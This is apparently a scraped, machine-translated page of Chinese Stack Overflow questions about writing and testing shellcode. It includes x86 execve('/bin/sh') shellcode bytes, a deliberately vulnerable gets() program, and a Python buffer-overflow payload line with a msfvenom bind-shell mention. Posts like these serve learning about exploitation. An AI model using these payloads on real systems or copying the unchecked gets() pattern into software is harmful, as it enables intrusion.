标签: shellcode

通过在Visual C++中强制转换为函数指针来执行shellcode

在gcc中这很好用.代码类似于:

unsigned char b[50] = "\xda\xd1 ... \x0"; //some shellcode with terminating \x0
( (void(*)())b )(); //cast b to function pointer from void to void, then run it
Run Code Online (Sandbox Code Playgroud)

但是当它放在Visual C++中时,它会吐出这个错误消息:

1>..\test.cpp(132): error C2440: 'type cast' : cannot convert from 'unsigned char [50]' to 'void (__cdecl *)(void)'
1>          There is no context in which this conversion is possible
Run Code Online (Sandbox Code Playgroud)

谁知道为什么会这样?

c++ casting shellcode

6
推荐指数
1
解决办法
8766
查看次数

字母数字Shellcode确保跳转

我正在尝试编写一些最终将采用英文段落形式的shellcode.这意味着我主要限于具有评估字母数字字符或标点符号的操作码的指令.这实际上给我留下了许多不同的跳转指令包括:jo,jno,jb,jae,je,jne,jbe,ja,js,jns,和jp(对应于字母p-z).这些跳转中的每一个在决定跳跃之前都会执行测试.在大多数情况下,我可以组合一个跳跃加上它的反转以确保在shellcode中发生跳转(例如使用jothen jno,或者je然后jne),但是我不能这样做jb.测试jbCF=1.

我的问题是,是否有任何一系列的字母数字指令在功能上是一个NOP,但也确保了CF=1CF是进位标志,因此任何保证设置进位标志的操作都足够了.

另外要保证一个jae,反正是要保证的CF=0吗?

x86 assembly shellcode

6
推荐指数
1
解决办法
764
查看次数

缓冲区溢出 - 程序在生成shell后终止

我一直在试验FreeBSD系统上的缓冲区溢出.作为第一个实验,我试图让被利用的程序启动另一个进程(在这种情况下为/ bin/hostname).一切正常,程序打印主机名然后终止.之后我尝试让程序产生一个shell(即执行/ bin/sh).我假设这可以通过简单地交换表示要调用的程序的字符串来完成.当我尝试这个时,被利用的程序就会退出,根据gdb它确实成功生成了一个新进程(/ bin/sh).但是,没有生成shell.然后我尝试了我的第一个漏洞并将/ bin/sh文件移动到/ bin/hostname,仍然没有改变任何东西.我现在的问题是,从任何其他命令执行/ bin/sh似乎有什么不同?

作为参考,对于s​​hell生成尝试,我使用了以下shellcode:

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x54\x53\xb0\x3b\x50\xcd\x80";
Run Code Online (Sandbox Code Playgroud)

security assembly buffer-overflow shellcode

6
推荐指数
1
解决办法
1852
查看次数

execle() 还指定环境。这意味着什么?

我正在读一本名为“黑客:剥削的艺术”的书,我看到了这样一段话:

使用execl(),使用现有环境,但如果使用execle(),则可以指定整个环境。如果环境数组只是 shellcode 作为第一个字符串(用 NULL 指针终止列表),则唯一的环境变量将是 shellcode。这使得它的地址很容易计算。在 Linux 中,该地址将为 0xbffffffa,减去环境中 shellcode 的长度,再减去执行程序名称的长度。由于该地址是准确的,因此不需要 NOP 雪橇。

  1. 指定环境是什么意思?

  2. 不同环境如何分类?

  3. 为什么环境变量的地址是这样计算的(或者更具体地说为什么基地址是0xbffffffa)?

  4. 如果我使用 execl() 函数而不是 execle() ,我是否可以不使用 shellcode 环境变量?

c linux exploit exec shellcode

6
推荐指数
1
解决办法
6812
查看次数

从C - Bus错误10测试Shellcode

下面,我写了一个打印'Hello,World!'的x64程序集.来自Mac OS X 10.8上的系统调用.它独立执行时汇编并运行完美.

; Assemble and link with:
; nasm -f macho64 -o HelloWorld.o HelloWorld.s
; ld -arch x86_64 -o HelloWorld HelloWorld.o

global start

section .text

start:

    push rbp
    mov rbp, rsp

    jmp short String

    xor rdi, rdi
    mov di, 0x01

StringRet:
    pop rsi

    xor rdx, rdx
    mov dl, 0xE

    mov r8b, 0x02
    shl r8, 24
    or r8, 0x04
    mov rax, r8

    syscall            ; System call for write(4)

    xor edi, edi

    mov r8b, 0x02
    shl r8, 24
    or r8, …
Run Code Online (Sandbox Code Playgroud)

c macos assembly shellcode

6
推荐指数
1
解决办法
2164
查看次数

shellcode:在x86_64程序集中将参数传递给execve

我正在尝试编写一个运行execve的shellcode.等效的c程序如下所示:

int main ()
{

  char *argv[3] = {"/bin/sh","-i", "/dev/tty", NULL};
  execve("/bin/sh", argv, NULL);

  return 0;
}
Run Code Online (Sandbox Code Playgroud)

c程序运行正常.然后我尝试编写我的测试程序(修改为推送null):

#include<stdio.h>
int main(){
    __asm__(
            "xor    %rdx,%rdx\n\t"   //rdx is the third argument for execve, null in this case.
            "push   %rdx\n\t"
            "mov    -8(%rbp),%rdx\n\t"
            "mov    $0x692d,%rdi\n\t" //$0x6924 is 'i-'
            "push   %rdi\n\t"         //push '-i' to the stack
            "lea    -16(%rbp),%rax\n\t"    //now rax points to '-i'
            "mov    $0x31b7f54a83,%rdi\n\t" //the address of /bin/sh
            "push   %rdi\n\t"                //push it to the stack              
            "push   %rdx\n\t"                //end the array with null
            "mov    $0x31b7e43bb3,%rdi\n\t" …
Run Code Online (Sandbox Code Playgroud)

c assembly shellcode

6
推荐指数
1
解决办法
2200
查看次数

MASM shellcode和NASM shellcode之间是否存在差异

我是StackOverflow的新手.最近,我开始研究汇编,对于汇编来说还是一个新手,对shellcode来说是全新的.我正在使用RadAsm使用MASM汇编程序进行编译,我尝试从这个网站shellcoding for Linux和Windows学习shellcode

我在Windows 64位上使用RadAsm.我使用的代码几乎相同,只是我使用函数的绝对名称而不是DLL中函数的地址.shellcode应该使用带参数的sleep函数5000.

这是我在MASM中使用的代码.

.386
.model flat, stdcall
option casemap:none

include kernel32.inc
includelib kernel32.lib

.code
_start:
    xor eax, eax    ; zero out eax
    mov ebx, Sleep  ; function sleep goes in ebx
    mov ax, 5000    ; parameter goes in ax
    push eax        ; parameter on stack
    call ebx        ; call Sleep
end _start
end
Run Code Online (Sandbox Code Playgroud)

这在MASM中没有错误地组装.

生成的shellcode具有空值,与网站略有不同.它如下.

objdump -d nameofexecutable.exe以前得到了反汇编.

Disassembly of section .text
 00401000 <.text>:
  401000:       33 c0                   xor    %eax,%eax
  401002:       bb …
Run Code Online (Sandbox Code Playgroud)

assembly masm nasm shellcode

6
推荐指数
1
解决办法
1138
查看次数

为什么 shellcode 通常是 Hex 格式?

抱歉,我是 C 编程和 shellcode 的新手。

  1. 为什么 shellcode 总是十六进制格式?
    (例如“\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\ xcd\x80";

shellcode

6
推荐指数
1
解决办法
2206
查看次数

我怎样才能把它变成shellcode?

好吧,我写了一个生成 shell 的 ASM 文件。

但是,.text 部分变为“只读”,因此我将所有内容都保留在 .data 部分中。当我用 NASM 和 ld 编译它时,它工作得很好。然后,当我使用 shellcode 并在 C 程序中运行它时,我会出现错误。

ASM:

SECTION .data
        global _start
_start:
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        xor edx, edx
        mov al, 70d
        int 80h
        jmp jump
rev:
        pop ebx
        xor eax, eax
        mov BYTE [ebx+7], al
        mov DWORD [ebx+8], ebx
        mov DWORD [ebx+12], eax
        mov al, 11d
        lea ecx, [ebx+8]
        lea edx, [ebx+12]
        int 80h
jump:
        call rev
shell: db "/bin/sh011112222"
Run Code Online (Sandbox Code Playgroud)

当我编译它时:

nasm -f …
Run Code Online (Sandbox Code Playgroud)

c shell assembly segmentation-fault shellcode

5
推荐指数
1
解决办法
4792
查看次数

漏洞利用开发 - GETS 和 Shellcode

试图了解更多有关利用开发和构建 shellcode 的信息,但遇到了一个我不明白背后原因的问题。

为什么我无法运行 execve("/bin/sh") 等 shellcode 并生成可以与之交互的 shell?另一方面,我可以创建一个反向/bind_tcp shell 并使用 netcat 连接到它。

示例程序:

// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack

#include <stdio.h>
#include <string.h>

void test() {
    char pass[50];
    printf("Password: ");
    gets(pass);
    if (strcmp(pass, "epicpassw0rd") == 0) {
        printf("Woho, you got it!\n");
    }
}

int main() {
    test();
    __asm__("movl $0xe4ffd4ff, %edx");  // jmp esp, call esp - POC
    return(0);
}
Run Code Online (Sandbox Code Playgroud)

漏洞利用示例:

python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln
Run Code Online (Sandbox Code Playgroud)

示例有效负载(工作):

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" …
Run Code Online (Sandbox Code Playgroud)

c exploit gets shellcode

5
推荐指数
1
解决办法
2488
查看次数